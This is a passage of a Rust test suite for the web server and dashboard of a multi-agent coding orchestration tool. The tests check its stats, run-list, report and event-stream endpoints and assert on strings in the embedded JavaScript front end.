7963 state.id = "20260902-140501-a".to_owned();
7964 state.status = RunStatus::Merged;
7965 state.advice = Some(Advice {
7966 records: vec![
7967 AdvisorRecord {
7968 seat: "advisor-1".to_owned(),
7969 agent: "alpha".to_owned(),
7970 proposal: Some(Proposal {
7971 approach: "do it".to_owned(),
7972 key_tradeoff: "speed over memory".to_owned(),
7973 risks: Vec::new(),
7974 touches: Vec::new(),
7975 why_not_naive: "breaks under load".to_owned(),
7976 }),
7977 error: None,
7978 duration_ms: 0,
7979 reflection: Reflection::Strong,
7980 },
7981 AdvisorRecord {
7982 seat: "advisor-2".to_owned(),
7983 agent: "alpha".to_owned(),
7984 proposal: None,
7985 error: Some("timed out".to_owned()),
7986 duration_ms: 0,
7987 reflection: Reflection::Absent,
7988 },
7989 ],
7990 synthesis: Some("blended brief".to_owned()),
7991 });
7992 let dir = f.runs().join(&state.id);
7993 std::fs::create_dir_all(&dir).expect("run dir");
7994 std::fs::write(
7995 dir.join("run.json"),
7996 serde_json::to_string_pretty(&state).expect("serialize run"),
7997 )
7998 .expect("write run.json");
7999
8000 let advisors = f.get("/api/stats").await.json()["advisors"].clone();
8001 let alpha = advisors
8002 .as_array()
8003 .expect("an array")
8004 .iter()
8005 .find(|a| a["agent"] == "alpha")
8006 .expect("alpha row");
8007 assert_eq!(alpha["seated"], 2);
8008 assert_eq!(alpha["proposed"], 1);
8009 assert_eq!(alpha["absent"], 1);
8010 assert_eq!(alpha["strong"], 1);
8011 assert_eq!(alpha["faint"], 0);
8012 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
8013 }
8014
8015 #[tokio::test]
8016 async fn stats_release_bumps_split_clean_from_attention() {
8017 use crate::run::ReleaseBump;
8018
8019 let f = Fixture::start().await;
8020
8021 let mut clean = RunState::new(
8022 PathBuf::from("/repo/magi"),
8023 "main".to_owned(),
8024 "0123456789abcdef".to_owned(),
8025 "task".to_owned(),
8026 Config::default(),
8027 );
8028 clean.id = "20260902-140501-a".to_owned();
8029 clean.status = RunStatus::Merged;
8030 clean.release_bump = Some(ReleaseBump {
8031 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
8032 version: Some("1.0.0".to_owned()),
8033 automerge_enabled: true,
8034 merged_directly: false,
8035 problem: None,
8036 action_required: None,
8037 });
8038
8039 let mut blocked = RunState::new(
8040 PathBuf::from("/repo/magi"),
8041 "main".to_owned(),
8042 "0123456789abcdef".to_owned(),
8043 "task".to_owned(),
8044 Config::default(),
8045 );
8046 blocked.id = "20260902-140502-b".to_owned();
8047 blocked.status = RunStatus::Merged;
8048 blocked.release_bump = Some(ReleaseBump {
8049 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
8050 version: Some("1.0.1".to_owned()),
8051 automerge_enabled: false,
8052 merged_directly: false,
8053 problem: Some("checks red".to_owned()),
8054 action_required: Some("look at the PR".to_owned()),
8055 });
8056
8057 for state in [&clean, &blocked] {
8058 let dir = f.runs().join(&state.id);
8059 std::fs::create_dir_all(&dir).expect("run dir");
8060 std::fs::write(
8061 dir.join("run.json"),
8062 serde_json::to_string_pretty(state).expect("serialize run"),
8063 )
8064 .expect("write run.json");
8065 }
8066
8067 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
8068 assert_eq!(bumps["merged"], 2);
8069 assert_eq!(bumps["recorded"], 2);
8070 assert_eq!(bumps["pr_opened"], 2);
8071 assert_eq!(bumps["automerge_enabled"], 1);
8072 assert_eq!(bumps["needs_attention"], 1);
8073 assert_eq!(bumps["clean"], 1);
8074 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
8075 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
8076 }
8077
8078 #[tokio::test]
8079 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
8080 let f = Fixture::start().await;
8081 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
8082
8083 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
8084 assert_eq!(bumps["merged"], 1);
8085 assert_eq!(bumps["recorded"], 0);
8086 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
8089 assert_eq!(bumps["automerge_rate"], Value::Null);
8092 assert_eq!(bumps["attention_rate"], Value::Null);
8093 }
8094
8095 #[tokio::test]
8096 async fn stats_queue_counts_come_from_the_live_queue() {
8097 let f = Fixture::start().await;
8098 let q = f.queue();
8099 let mut queued = Task::new(
8100 "queued task".to_owned(),
8101 "do it".to_owned(),
8102 PathBuf::from("/repo"),
8103 Source::Human,
8104 );
8105 q.put(&mut queued).expect("put queued");
8106 let mut held = Task::new(
8107 "held task".to_owned(),
8108 "do it later".to_owned(),
8109 PathBuf::from("/repo"),
8110 Source::Human,
8111 );
8112 held.hold_machine(Some("out of attempts".to_owned()));
8113 q.put(&mut held).expect("put held");
8114
8115 let queue = f.get("/api/stats").await.json()["queue"].clone();
8116 assert_eq!(queue["queued"], 1);
8117 assert_eq!(queue["held"], 1);
8118 assert_eq!(queue["running"], 0);
8119 assert_eq!(queue["done"], 0);
8120 assert_eq!(queue["failed"], 0);
8121 assert_eq!(queue["blocked"], 0);
8122 }
8123
8124 #[tokio::test]
8125 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
8126 let f = Fixture::start().await;
8127 let stats = f.get("/api/stats").await;
8128 assert_eq!(stats.status, 200);
8129 assert_eq!(stats.json()["totals"]["runs"], 0);
8130 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
8131 assert_eq!(stats.json()["runs_unreadable"], 0);
8132 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
8133 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
8134 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
8135 assert_eq!(stats.json()["repo"], Value::Null);
8136 }
8137
8138 #[tokio::test]
8139 async fn stats_lists_every_repository_with_runs_recorded() {
8140 let f = Fixture::start().await;
8141 write_run_repo(
8142 &f.runs(),
8143 "20260902-140501-a",
8144 RunStatus::Merged,
8145 "/repos/a",
8146 );
8147 write_run_repo(
8148 &f.runs(),
8149 "20260902-140502-b",
8150 RunStatus::Merged,
8151 "/repos/a",
8152 );
8153 write_run_repo(
8154 &f.runs(),
8155 "20260902-140503-c",
8156 RunStatus::Blocked,
8157 "/repos/b",
8158 );
8159
8160 let stats = f.get("/api/stats").await;
8161 assert_eq!(stats.status, 200);
8162 assert_eq!(stats.json()["totals"]["runs"], 3);
8164 assert_eq!(stats.json()["repo"], Value::Null);
8165
8166 let repos = stats.json()["repos"].clone();
8167 let repos = repos.as_array().unwrap();
8168 assert_eq!(repos.len(), 2);
8169 assert_eq!(repos[0]["repo"], "/repos/a");
8171 assert_eq!(repos[0]["name"], "a");
8172 assert_eq!(repos[0]["runs"], 2);
8173 assert_eq!(repos[1]["repo"], "/repos/b");
8174 assert_eq!(repos[1]["runs"], 1);
8175 }
8176
8177 #[tokio::test]
8178 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
8179 let f = Fixture::start().await;
8180 write_run_repo(
8181 &f.runs(),
8182 "20260902-140501-a",
8183 RunStatus::Merged,
8184 "/repos/a",
8185 );
8186 write_run_repo(
8187 &f.runs(),
8188 "20260902-140502-b",
8189 RunStatus::Blocked,
8190 "/repos/b",
8191 );
8192
8193 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
8194 assert_eq!(stats.status, 200);
8195 assert_eq!(stats.json()["totals"]["runs"], 1);
8196 assert_eq!(stats.json()["totals"]["merged"], 1);
8197 assert_eq!(stats.json()["repo"], "/repos/a");
8198 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
8201 assert_eq!(stats.json()["runs_unreadable"], 0);
8204 }
8205
8206 #[tokio::test]
8207 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
8208 let f = Fixture::start().await;
8209 write_run_repo(
8210 &f.runs(),
8211 "20260902-140501-a",
8212 RunStatus::Merged,
8213 "/repos/a",
8214 );
8215
8216 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
8217 assert_eq!(stats.status, 404);
8218 }
8219
8220 #[tokio::test]
8221 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
8222 let f = Fixture::start().await;
8223 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
8224
8225 let summary = f.get("/api/runs").await.json();
8226 let row = &summary[0];
8227 assert_eq!(row["short"], "a1b2");
8228 assert_eq!(row["status"], "ready");
8229 assert_eq!(row["done"], true);
8230 assert_eq!(row["title"], "Add a web UI");
8231 assert_eq!(row["repo_name"], "magi");
8232 assert_eq!(row["judges"], 3);
8233 assert_eq!(row["winner"], Value::Null);
8234 assert_eq!(row["reviews"], 0);
8235
8236 let detail = f.get("/api/runs/a1b2").await;
8239 assert_eq!(detail.status, 200);
8240 assert_eq!(detail.json()["base_branch"], "main");
8241 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
8242 }
8243
8244 #[tokio::test]
8252 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
8253 let f = Fixture::start().await;
8254
8255 let mut none_run = RunState::new(
8256 PathBuf::from("/repo/magi"),
8257 "main".to_owned(),
8258 "0123456789abcdef".to_owned(),
8259 "Add a web UI".to_owned(),
8260 Config::default(),
8261 );
8262 none_run.id = "20260902-140503-none".to_owned();
8263 none_run.status = RunStatus::Ready;
8264 none_run.merge = Some(crate::run::MergeOutcome {
8265 mode: crate::config::MergeMode::None,
8266 ok: true,
8267 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
8268 empty: false,
8269 });
8270 write_state(&f.runs(), &none_run);
8271
8272 let mut pr_run = RunState::new(
8273 PathBuf::from("/repo/magi"),
8274 "main".to_owned(),
8275 "0123456789abcdef".to_owned(),
8276 "Add a web UI".to_owned(),
8277 Config::default(),
8278 );
8279 pr_run.id = "20260902-140504-prcl".to_owned();
8280 pr_run.status = RunStatus::Ready;
8281 pr_run.merge = Some(crate::run::MergeOutcome {
8282 mode: crate::config::MergeMode::Pr,
8283 ok: false,
8284 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
8285 empty: false,
8286 });
8287 write_state(&f.runs(), &pr_run);
8288
8289 let summary = f.get("/api/runs").await.json();
8290 let rows: std::collections::HashMap<&str, &Value> = summary
8291 .as_array()
8292 .expect("an array")
8293 .iter()
8294 .map(|r| (r["id"].as_str().expect("an id"), r))
8295 .collect();
8296 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
8297 assert_eq!(
8298 rows[none_run.id.as_str()]["unmerged_by_design"],
8299 true,
8300 "a mode-none Ready must be flagged in the list"
8301 );
8302 assert_eq!(
8303 rows[pr_run.id.as_str()]["unmerged_by_design"],
8304 false,
8305 "a Ready reached by a closed pull request is a different case"
8306 );
8307
8308 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
8309 assert_eq!(none_detail["status"], "ready");
8310 assert_eq!(none_detail["unmerged_by_design"], true);
8311
8312 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
8313 assert_eq!(pr_detail["unmerged_by_design"], false);
8314 }
8315
8316 #[tokio::test]
8321 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
8322 let f = Fixture::start().await;
8323 let id = "20260902-140502-bbbb";
8327 let mut state = RunState::new(
8328 PathBuf::from("/repo/magi"),
8329 "main".to_owned(),
8330 "0123456789abcdef".to_owned(),
8331 "Add a web UI".to_owned(),
8332 Config::default(),
8333 );
8334 state.id = id.to_owned();
8335 state.status = RunStatus::Judging;
8336 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
8337 let dir = f.runs().join(id);
8338 std::fs::create_dir_all(&dir).expect("run dir");
8339 std::fs::write(
8340 dir.join("run.json"),
8341 serde_json::to_string_pretty(&state).expect("serialize run"),
8342 )
8343 .expect("write run.json");
8344
8345 let cold = f.get(&format!("/api/runs/{id}")).await.json();
8351 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
8352 assert_eq!(cold["live"], "unknown", "{cold}");
8353
8354 write_daemon(f.home.path(), Timestamp::now());
8357 let warm = f.get(&format!("/api/runs/{id}")).await.json();
8358 assert_eq!(warm["live"], "live", "{warm}");
8359 }
8360
8361 #[tokio::test]
8368 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
8369 let f = Fixture::start().await;
8370 let id = "20260922-090000-cccc";
8371 let mut state = RunState::new(
8372 PathBuf::from("/repo/magi"),
8373 "main".to_owned(),
8374 "0123456789abcdef".to_owned(),
8375 "Review only".to_owned(),
8376 Config::default(),
8377 );
8378 state.id = id.to_owned();
8379 state.status = RunStatus::Reviewing;
8380 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
8381 state.driver_pid = Some(std::process::id());
8387 state.driver_started_at = Some(
8388 crate::proc::process_started_at(std::process::id())
8389 .expect("this test process's own start time must be queryable"),
8390 );
8391 let dir = f.runs().join(id);
8392 std::fs::create_dir_all(&dir).expect("run dir");
8393 std::fs::write(
8394 dir.join("run.json"),
8395 serde_json::to_string_pretty(&state).expect("serialize run"),
8396 )
8397 .expect("write run.json");
8398
8399 let detail = f.get(&format!("/api/runs/{id}")).await.json();
8400 assert_eq!(detail["live"], "live", "{detail}");
8401 }
8402
8403 #[tokio::test]
8409 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
8410 let f = Fixture::start().await;
8411 let id = "20260922-090100-dddd";
8412 let mut state = RunState::new(
8413 PathBuf::from("/repo/magi"),
8414 "main".to_owned(),
8415 "0123456789abcdef".to_owned(),
8416 "Review only".to_owned(),
8417 Config::default(),
8418 );
8419 state.id = id.to_owned();
8420 state.status = RunStatus::Reviewing;
8421 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
8422 state.driver_pid = Some(std::process::id());
8427 state.driver_started_at = Some("not-this-processes-real-start-time".to_owned());
8428 let dir = f.runs().join(id);
8429 std::fs::create_dir_all(&dir).expect("run dir");
8430 std::fs::write(
8431 dir.join("run.json"),
8432 serde_json::to_string_pretty(&state).expect("serialize run"),
8433 )
8434 .expect("write run.json");
8435
8436 let detail = f.get(&format!("/api/runs/{id}")).await.json();
8437 assert_eq!(detail["live"], "dead", "{detail}");
8438 }
8439
8440 #[test]
8444 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
8445 let mk = |id: &str, pid: Option<u32>| {
8446 let mut s = RunState::new(
8447 PathBuf::from("/repo/magi"),
8448 "main".to_owned(),
8449 "0123456789abcdef".to_owned(),
8450 "Add a web UI".to_owned(),
8451 Config::default(),
8452 );
8453 s.id = id.to_owned();
8454 s.driver_pid = pid;
8455 s.driver_started_at = Some("t0".to_owned());
8456 s
8457 };
8458 let states = vec![
8459 mk("20260902-140502-aaaa", Some(77)),
8460 mk("20260902-140502-bbbb", Some(77)),
8461 mk("20260902-140502-cccc", Some(77)),
8462 mk("20260902-140502-dddd", None),
8463 ];
8464 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
8465 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
8466 let sup: HashMap<String, String> = [(
8467 "20260902-140502-aaaa".to_owned(),
8468 "20260902-140502-cccc".to_owned(),
8469 )]
8470 .into();
8471
8472 let status_calls = std::cell::Cell::new(0);
8473 let identity_calls = std::cell::Cell::new(0);
8474 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
8475 |_| {
8476 status_calls.set(status_calls.get() + 1);
8477 Some(true)
8478 },
8479 |_| {
8480 identity_calls.set(identity_calls.get() + 1);
8481 Some("t0".to_owned())
8482 },
8483 ));
8484 let rows = summarize(
8485 states,
8486 &open,
8487 &claimed,
8488 &sup,
8489 |p| probe.borrow_mut().status(p),
8490 |p| probe.borrow_mut().started_at(p),
8491 );
8492
8493 assert_eq!(status_calls.get(), 1, "one pid, one status query");
8494 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
8495 assert_eq!(rows.len(), 4);
8496 assert!(!rows[0].waiting && rows[1].waiting);
8497 assert_eq!(rows[0].live, crate::run::Liveness::Live);
8498 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
8499 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
8500 assert_eq!(rows[1].superseded_by, None);
8501 }
8502
8503 #[test]
8504 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
8505 let mut state = RunState::new(
8506 PathBuf::from("/repo/magi"),
8507 "main".to_owned(),
8508 "0123456789abcdef".to_owned(),
8509 "Review only".to_owned(),
8510 Config::default(),
8511 );
8512 state.id = "20260922-090200-dead".to_owned();
8513 state.status = RunStatus::Reviewing;
8514 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
8515 .expect("serialize list row");
8516 assert_eq!(row["status"], "reviewing");
8517 assert_eq!(row["live"], "dead", "{row}");
8518 assert!(!row["done"].as_bool().unwrap());
8519 }
8520
8521 #[tokio::test]
8522 async fn the_run_list_is_newest_first_and_honours_a_limit() {
8523 let f = Fixture::start().await;
8524 for id in [
8525 "20260902-140501-aaaa",
8526 "20260902-140502-bbbb",
8527 "20260902-140503-cccc",
8528 ] {
8529 write_run(&f.runs(), id, RunStatus::Merged);
8530 }
8531
8532 let all = f.get("/api/runs").await.json();
8533 let capped = f.get("/api/runs?limit=2").await.json();
8534
8535 assert_eq!(all[0]["id"], "20260902-140503-cccc");
8536 assert_eq!(all.as_array().map(Vec::len), Some(3));
8537 assert_eq!(capped.as_array().map(Vec::len), Some(2));
8538 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
8539 }
8540
8541 #[tokio::test]
8542 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
8543 let f = Fixture::start().await;
8544 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
8545
8546 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
8547
8548 assert_eq!(res.status, 200);
8549 assert!(
8550 res.headers
8551 .contains("content-type: text/plain; charset=utf-8"),
8552 "a browser must render it, not download it: {}",
8553 res.headers
8554 );
8555 assert!(
8559 res.body.contains("20260902-140501-a1b2"),
8560 "the report is about the run that was asked for: {}",
8561 res.body
8562 );
8563 }
8564
8565 #[tokio::test]
8566 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
8567 let f = Fixture::start().await;
8568
8569 let html = f.get("/").await;
8570 let css = f.get("/app.css").await;
8571 let js = f.get("/app.js").await;
8572
8573 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
8574 assert!(
8575 html.headers
8576 .contains("content-type: text/html; charset=utf-8")
8577 );
8578 assert!(css.headers.contains("content-type: text/css"));
8579 assert!(js.headers.contains("content-type: text/javascript"));
8580 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
8581 }
8582
8583 #[test]
8584 fn review_rounds_label_a_distinct_verified_head() {
8585 assert!(APP_JS.contains("round.verified_head"));
8586 assert!(APP_JS.contains("verified HEAD"));
8587 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
8588 }
8589
8590 #[test]
8591 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
8592 assert!(APP_JS.contains("blocked: { glyph:"));
8596 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
8597
8598 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
8602 assert!(
8603 APP_JS.contains(
8604 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
8605 ),
8606 "the note line must name what a blocked task is waiting on, not just that it is blocked"
8607 );
8608 assert!(APP_JS.contains("if (status === \"blocked\") {"));
8612
8613 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
8617 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
8618 assert!(
8619 APP_JS.contains("location.hash = \"#/questions\";"),
8620 "a question node must jump to the Questions screen, not pretend to be a task"
8621 );
8622
8623 assert!(APP_JS.contains("Resolved questions"));
8626 assert!(APP_JS.contains("r.answersList.append("));
8627 assert!(APP_CSS.contains(".task-answers"));
8628 {
8629 let start = APP_JS
8630 .find("function updateTalkTaskRow")
8631 .expect("updateTalkTaskRow");
8632 let body = &APP_JS[start..start + 900];
8633 assert!(body.contains("task.runs[") || body.contains("runs[runs.length - 1]"));
8634 assert!(body.contains("setAttr(r.link, \"href\""));
8635 assert!(body.contains(
8636 "latest ? `#/runs/${latest}` : `#/queue/${encodeURIComponent(task.id)}`"
8637 ));
8638 assert!(
8639 !body.contains(": \"#/queue\""),
8640 "a task with no run must link to its own queue card, not the bare queue"
8641 );
8642 assert!(APP_CSS.contains(".talk-task-link"));
8643 }
8644 }
8645
8646 #[test]
8647 fn a_task_notification_links_to_its_own_card_not_the_bare_backlog() {
8648 assert!(
8653 APP_JS.contains(
8654 "el(\"a\", { href: `#/queue/${encodeURIComponent(link.id)}`, text: `Task ${shortId(link.id)}` })"
8655 ),
8656 "a task notice's link must carry the task id into the hash, not just name the Backlog screen"
8657 );
8658 assert!(
8659 !APP_JS.contains("el(\"a\", { href: \"#/queue\", text: `Task ${shortId(link.id)}` })"),
8660 "regression: the task link must not go back to naming the bare Backlog route"
8661 );
8662
8663 assert!(
8666 APP_JS.contains(
8667 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
8668 ),
8669 "`#/queue/<id>` must parse into a route carrying that id"
8670 );
8671
8672 assert!(APP_JS.contains("state.queueFocus = route.id;"));
8676 assert!(APP_JS.contains("function consumeQueueFocus()"));
8677 assert!(APP_JS.contains("jumpToTask(id)"));
8678 }
8679
8680 #[test]
8681 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
8682 assert!(
8691 APP_JS.contains(
8692 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
8693 ),
8694 "the search-clearing branch must run before state.queueFocus is cleared, or the \
8695 recursive renderQueue() call has nothing left to jump to"
8696 );
8697 assert!(
8698 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
8699 "state.queueFocus must be cleared only once the jump has landed, so a card that \
8700 arrives later still gets it"
8701 );
8702 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
8703 assert!(APP_JS.contains("is not in the current Backlog."));
8704 assert!(APP_JS.contains("li.card[data-task-id=\""));
8705 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
8706 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
8707 assert!(APP_CSS.contains(".card-permalink"));
8708 assert!(APP_CSS.contains(".queue-focus-status"));
8709 assert!(APP_JS.contains("const section = route.name === \"run\" ? \"runs\""));
8710 }
8711
8712 #[test]
8713 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
8714 assert!(
8722 APP_JS.contains(
8723 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
8724 ),
8725 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
8726 );
8727 }
8728
8729 #[test]
8730 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
8731 assert!(
8732 APP_JS.contains("round.verified_head !== round.head"),
8733 "a round that verified an earlier commit must be visibly distinct from one that \
8734 verified the head reviewers are looking at now"
8735 );
8736 assert!(
8737 APP_JS.contains("round.verified_at"),
8738 "when a check ran must be on the wire, not just which commit"
8739 );
8740 assert!(
8741 APP_JS.contains("resource_blocked"),
8742 "a command magi never got to run (shared build cache contention) must not render \
8743 the same as a command that ran and failed"
8744 );
8745 }
8746
8747 #[test]
8748 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
8749 assert!(
8757 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
8758 "every KPI tile built through statusTile() must route its click through \
8759 openRunsFiltered, the single place that sets the Runs filter"
8760 );
8761 for (label, status) in [
8762 ("Merged", "merged"),
8763 ("Ready", "ready"),
8764 ("Blocked", "blocked"),
8765 ("Stalled", "stalled"),
8766 ] {
8767 let call = format!("statusTile(\"{label}\", t.{status}, ");
8768 assert!(
8769 APP_JS.contains(&call),
8770 "expected the {label} KPI tile built via {call}..."
8771 );
8772 assert!(
8773 APP_JS.contains(&format!("status === \"{status}\"")),
8774 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
8775 compare a run against, not one invented only for the stats tile"
8776 );
8777 }
8778 assert!(
8779 APP_JS.contains("function openRunsFiltered(status)"),
8780 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
8781 );
8782 assert!(
8783 APP_JS.contains("if (status && String(run.status || \"\") !== status) return false;"),
8784 "matchesFilter must gate on the exact status a KPI tile named"
8785 );
8786 assert!(
8794 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
8795 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
8796 hashchange event that may never fire"
8797 );
8798 }
8799
8800 #[test]
8801 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
8802 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
8808 assert!(
8809 APP_JS.contains(
8810 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
8811 ),
8812 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
8813 guard for an incompatible tree section"
8814 );
8815 }
8816
8817 #[test]
8818 fn every_stats_queue_tile_names_a_real_queue_section() {
8819 assert!(
8825 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
8826 "every queue tile built through sectionTile() must route its click through \
8827 openQueueSectionFocus"
8828 );
8829 for key in ["upnext", "running", "done", "held", "blocked"] {
8830 assert!(
8831 APP_JS.contains(&format!("{{ key: \"{key}\",")),
8832 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
8833 );
8834 }
8835 for line in [
8839 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
8840 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
8841 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
8842 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
8843 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
8844 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
8845 ] {
8846 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
8847 }
8848 }
8849
8850 #[test]
8851 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
8852 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
8859 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
8860 assert!(APP_JS.contains("function revealQueueSection(details)"));
8861 assert!(
8862 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
8863 "renderQueue() must consume both focus channels on every pass"
8864 );
8865 assert!(
8866 APP_JS.contains(
8867 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
8868 ),
8869 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
8870 the recursive renderQueue() call has nothing left to reveal"
8871 );
8872 assert!(
8873 APP_JS.contains(
8874 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
8875 ),
8876 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
8877 );
8878 assert!(
8886 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
8887 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
8888 hashchange event that may never fire"
8889 );
8890 }
8891
8892 #[tokio::test]
8893 async fn the_change_stream_announces_the_current_revisions_on_connect() {
8894 let f = Fixture::start().await;
8895
8896 let mut socket = tokio::net::TcpStream::connect(f.addr)
8897 .await
8898 .expect("connect");
8899 socket
8900 .write_all(
8901 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
8902 )
8903 .await
8904 .expect("write request");
8905
8906 let mut seen = String::new();
8909 let mut buf = [0u8; 1024];
8910 while !seen.contains("event: change") {
8911 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
8912 .await
8913 .expect("the stream must speak within five seconds")
8914 .expect("read");
8915 assert!(read > 0, "the server closed the change stream: {seen}");
8916 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
8917 }
8918
8919 assert!(
8920 seen.to_lowercase()
8921 .contains("content-type: text/event-stream"),
8922 "the browser only reconnects automatically for a real SSE stream: {seen}"
8923 );
8924 let data = seen
8925 .lines()
8926 .find_map(|l| l.strip_prefix("data:"))
8927 .expect("a data line");
8928 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
8929 assert!(
8930 payload["queue_rev"].is_u64()
8931 && payload["runs_rev"].is_u64()
8932 && payload["questions_rev"].is_u64()
8933 && payload["talks_rev"].is_u64()
8934 && payload["notifications_rev"].is_u64()
8935 && payload["loop_rev"].is_u64(),
8936 "the client needs one revision per store to know what to refetch, \
8937 and `talks_rev` is the only notification a standing talk gets - a \
8938 phone whose radio slept through a turn learns about it here, as \
8939 does one whose operator started the loop from another device: \
8940 {payload}"
8941 );
8942
8943 let health = f.get("/api/health").await.json();
8950 for key in [
8951 "queue_rev",
8952 "runs_rev",
8953 "questions_rev",
8954 "talks_rev",
8955 "notifications_rev",
8956 "loop_rev",
8957 ] {
8958 assert!(
8959 health[key].is_u64(),
8960 "health is the change stream's fallback and is missing `{key}`: {health}"
8961 );
8962 }
8963 }
8964
8965 #[tokio::test]
8966 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
